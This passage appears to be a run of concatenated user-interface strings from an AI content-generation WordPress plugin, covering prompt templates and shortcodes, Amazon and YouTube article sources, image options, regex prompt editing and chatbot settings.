fine-tuned model will work well for your use case. As I mentioned before, dataset quality is very important. If you have a small dataset, you might not get good results. If you have a very large dataset with really well-defined prompt and completion pairs, you should get good results.Please provide the URLs to the YouTube videos (one per line). Videos must be public and have captions available (uploaded or auto generated). In case auto generated captions are used, the quality of the created article might be lower. Nested Shortcodes also supported!Please provide the a search keyword for Amazon products to be included in the created article.Please select a promptPlease select at least one checkbox to generate!Please set a the image attribution shortcode value. You can use this value, using the %%image_attribution%% shortcode, in 'Prepend Content With' and 'Append Content With' settings fields. You can use the following shortcodes, in this settings field: %%image_source_name%%, %%image_source_website%%, %%image_source_url%%. These will be updated automatically for the respective image source, from where the imported image is from. This will replace the %%royalty_free_image_attribution%% shortcode, in 'Generated Post Content' settings field.Plugin ActivationPlugin Advanced Settings:Plugin Autorun Interval:Plugin General Settings:Plugin Registration Info - Automatic Updates Enabled:Plugin registration failed!Plugin registration successful!PolandPolishPolish (Google Translate)PopularPopular Post SourcePortuguesePortuguese (Google Translate)Possible reasons:Post AuthorPost Author:Post Automatic Categories Options:Post Automatic Commenting Options:Post Automatic Tags Options:Post CategoriesPost Category OptionsPost Category to ProcessPost ContentPost Content - AI Text Generator OptionsPost Content Automatic Linking Options:Post Creation ModePost Custom FieldsPost Custom Fields:Post Custom TaxonomiesPost Custom Taxonomies:Post ExcerptPost IDs:Post Name:Post OptionsPost Parent:Post SectionsPost Sections List (Optional)Post Sections List (Optional):Post SourcePost StatusPost Status:Post Tag OptionsPost TagsPost TitlePost Title - AI Text Generator Options (%%ai_generated_title%% shortcode)Post Title List / TXT File URL / RSS Feed URLPost Title SourcePost Title Source:Post TypePost Type:Post Types Where To Generate Automatic LinksPost Types Where To Generate Automatic Links:Post Types Where To Generate Inboud Links:Post created as draft. Choose what to do next:Post will be edited respecting the configurations you made in the 'AI Content Editor' plugin menu section.Posting OptionsPostsPosts Automatic Editing Filtering:Posts Generated:Premium Spinner Service Password/API Key:Premium Spinner Service User Name/Email:Prepend Text To All Textual AI PromptsPrepend Text To All Textual AI Prompts:Preppend To The BeginningPresence PenaltyPresence Penalty:PrevPreviewPreview image:Previous PagePricePrice: The cost of the request.Price:HighToLowPrice:LowToHighPrivateProcess Each Title/Keyword Only OnceProcess Each Title/Keyword Only Once:Process Each Title/Topic Only OnceProcess Each Title/Topic Only Once:Product Search KeywordsProductsPromptPrompt For OpenAI Keyword Generator For Royalty Free Image Importing:Prompt For The AI Category Generator:Prompt For The AI Comment Generator:Prompt For The AI Image GeneratorPrompt For The AI Image Generator:Prompt For The AI Related Headings Generator:Prompt For The AI SEO Meta Description Generator:Prompt For The AI Tags Generator:Prompt For The AI Text Generator:Prompt For The OpenAI Category GeneratorPrompt For The OpenAI Category Generator:Prompt For The OpenAI Post Tag GeneratorPrompt For The OpenAI Post Tag Generator:Prompt For The OpenAI Text GeneratorPrompt For The OpenAI Text Generator:Prompt For The OpenAI Title Text GeneratorPrompt For The OpenAI Title Text Generator:Prompt Templates:Prompt To Send To The AI Image Generator:Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%all_product_titles%%, %%product_description%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%product_title%%, %%product_description%%, %%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Sections. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Sections. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to use for keyword/keyphrase extraction from the submitted text (so the internet search will be more probable to return related results to the query sent to the AI). You can use the following shortcode here: %%original_prompt%%. The default value for this settings is: Using which keyword or phrase should I search the internet, so I get results related to this text: "%%original_prompt%%"?Prompt*PromptsPrompts Editable By Users:Protect HTML Tags in Edited Text:Publish DatePublish Edited Content Even if the AI Removed Parts of the HTML Text:PublishedPunjabiPunjabi (Google Translate)PurposeQuechuaQuechua (Google Translate)QueriesQuoteRadioRandomRandom (Top/Bottom)Random Amazon Product ThumbnailRandom Sentence GeneratorRandom Sentence Generator:Randomize Product OrderRandomize Product Order:Recommended Plugins For YouRegister Envato Purchase Code To Enable Automatic Updates:Register Purchase CodeReindex Every Post:Related Headings AI Generator PromptRelated Headings AI Generator Prompt:Related Questions CreationRelevanceReligionRemaining API Tokens: Remote GetRemote PostRemove WP Default Post CategoryRemove WP Default Post Category:Replace Matches From Regex (Content)Replace Matches From Regex (Content):Replace Matches From Regex (Prompts)Replace Matches From Regex (Prompts):Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.Replacement KeywordRequire Only One Word From The 'Required Words List':Required PHP ExtensionsRequired*Resize the AI generated image to the height specified in this text field (in pixels). If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images locally to your server.Resize the AI generated image to the width specified in this text field (in pixels). If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images locally to your server.Resize the image that was assigned to be the featured image to the height specified in this text field (in pixels). If you want to disable this feature, leave this field blank.Resize the image that was assigned to be the featured image to the width specified in this text field (in pixels). If you want to disable this feature, leave this field blank.Restore Plugin Default SettingsRestore To DefaultResult filesResults Order: Retrieve ContentRevoke LicenseRewrite Also Post URL With The Modified Title:Rich Content Creation OptionsRich Content Creation Options:RightRomanianRomanian (Google Translate)RowsRoyalty FreeRoyalty Free Image Attribution Text (%%royalty_free_image_attribution%%): Royalty Free Image Options:Royalty Free Image Search Options:Royalty Free Image Search Order:Royalty Free ImagesRoylaty FreeRuleRule Based Restrictions:Rule DisabledRules Currently Running:Rules Per Page:Run Above Regex On PromptsRun Above Regex On Prompts:Run Post EditingRun Regex On ContentRun Regex On Content:Run Regex On PromptsRun Regex On Prompts:Run Rules Only After This HourRun Rules Only Before This HourRun The Content Prompt Separately For Each SectionRun This Rule NowRun regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.RussianRussian (Google Translate)SEO Meta Description Options:SEO Meta Description PromptSERVERSIMPLESLOWSLOWERSLOWESTSUHOSIN InstalledSUHOSIN Installed:Safe Search: SamoanSamoan (Google Translate)Sample ResponseSampler:Sampling Steps:SanskritSanskrit (Google Translate)Saudi ArabiaSaveSave & Add NewSave AI ContentSave SettingsSaving post...ScheduleScienceScottish GaelicScottish Gaelic (Google Translate)Scroll To Bottom Of The Form On New Messages:Search KeywordSearch Keywords For Related Posts, In:Search Offset:Search Post SourceSearch Query RepetitionSearch Query Repetition:Search Query:Search Results Order: Second List of Possible Sentences (%%random_sentence2%%):Secret Word Used For Cron Running (Optional):SectionsSelectSelect DataSelect a Category (Optional)Select a Voice:Select a list of comma separated words that you do not wish to spin (only for built-in spinners).Select a secret word that will be used when you run the post editing part of the plugin manually by URL/by cron. See details about this below.Select a the Audio Device Profile of the chosen voice.Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range [-20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 means decrease 20 semitones from the original pitch.Select a the Voice Speed of the chosen voice. Speaking rate/speed, in the range [0.25, 4.0]. 1.0 is the normal native speed supported by the specific voice. 2.0 is twice as fast, and 0.5 is half as fast. If unset(0.0), defaults to the native 1.0 speed. Any other values < 0.25 or > 4.0 will return an error.Select a the language of the chosen voice.Select a the name of the chosen voice.Select a voice you want to use for your chatbot.Select a voice you want to use for your video chatbot. You can add voices in the following format: voice_provider:voice_name:voice_config - available voices lists:Select an ActionSelect an email address where a notification will be sent, in case a specific rule depleted its keywords and it did not publish any new content because of this. This will be applied only if you check the 'Process Each Title/Topic Only Once' checkbox in rules. You can enter a comma separated list of email addresses which will be notified.Select an imageSelect if you don't want to process the same post twice using bulk post editing.Select if you want the Keyword Replacer Tool to match also partial words, or only full words.Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.Select if you want to add a Table of Contents section to the created post.Select if you want to add an image to each of the creating headings from the article.Select if you want to add the product images to the article.Select if you want to allow the chatbot to send HTML responses and the plugin to execute and parse these HTML responses.Select if you want to apply an absolute timeframe. With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.Select if you want to automatically scroll the window to bottom on new messages.Select if you want to change post status after editing posts.Select if you want to enable also SEO meta description writing for the taxonomies. Note that this will work only for taxonomies automatically processed using the 'nable Automatic Processing Of All Newly Added Taxonomies For' settings field from above. Also, note that you will need to have a SEO plugin installed on your site, from the following list: Yoast SEO, All In One SEO, Rank Math.Select if you want to enable automatic processing and description creation using AI of all newly added taxonomies for the taxonomy names you select (which don't already have a description set when they are created).Select if you want to enable chatbot moderationSelect if you want to enable chatbot text to speech/video.Select if you want to enable direct scraping of Pixabay website. This will generate different results from the API.Select if you want to enable the copying of messages, if users click the message bubbles.Select if you want to enable the persistent chat mode also for not logged in users.Select if you want to enable the persistent chat mode. Chats will be saved in the database and can be viewed from the 'Limits and Statistics' menu of the plugin.Select if you want to enable the prompts to be user editable. You should use this feature only together with the prompt templates feature.Select if you want to enable the voice input feature for the chatbot.Select if you want to enable usage of the Google Images Search with the Creative Commons filter enabled, for getting images.Select if you want to enable usage of the Unsplash API for getting images.Select if you want to inject the chatbot globally, to the entire front end and/or back end of your site.Select if you want to make the chatbot respond with full text or do you want to enable a typing effect, so text will appear gradually.Select if you want to make the chatbot respond with full text or do you want to enable a typing effect, so text will appear gradually. This is also required for the text-to-speech feature of the plugin.Select if you want to make this rule target post title, content or both.Select if you want to process each title from the added list only once.Select if you want to randomize the royalty free image sources order, at each run. If you check this checkbox, the above order will not be applied any more.Select if you want to randomize the search results order, of the returned images. This can lower the accuracy of images, but make images more unique.Select if you want to reindex all posts (also the ones which are already indexed).Select if you want to remove JavaScript code from the chatbot's HTML responses.Select if you want to show a WP Rich Text editor instead of a plain textarea for the AI results output.Select if you want to show advanced form options for users.Select if you want to show the form header to users.Select if you want to try to translate search query keywords to English. This can be useful for non-English languages.Select if you want to use AI generated titles for the posts created by the plugin. If not, the YouTube video title will be used.Select if you want to use the AI writer to get related headings for created articles.Select if you want to use the Bing search results to get related headings for created articles.Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.Select if you would like to add a relevant YouTube video to the end of the created article.Select if you would like to add the source YouTube video to the end of the created article.Select images that have received an Editor's Choice award.Select in which parts of the posts published on your site do you want to search for related keywords. If you leave this field blank, the default values will be post title and content.Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerptSelect the AI API service to use to generate content in the plugin.Select the AI Model to be used for categories generator.Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.Select the AI Model to be used for comments generator.Select the AI Model to be used for headings generator.Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.Select the AI Model to be used for tags generator.Select the AI Model to be used for text generator.Select the AI Model to be used for the Q&A generator.Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.Select the AI Model to be used for the content generator.Select the AI Model to be used for the excerpt generator.Select the AI Model to be used for the headings generator.Select the AI Model to be used for the intro generator.Select the AI Model to be used for the outro generator.Select the AI Model to be used for the sections generator.Select the AI Model to be used for the 